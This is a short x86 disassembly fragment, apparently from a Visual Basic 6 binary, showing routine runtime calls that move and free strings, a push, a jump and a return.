call sub.MSVBVM60.DLL___vbaStrMove
push 0x422001
jmp 0x421ff8
lea ecx, [ebp - 0x20]
call sub.MSVBVM60.DLL___vbaFreeStr
ret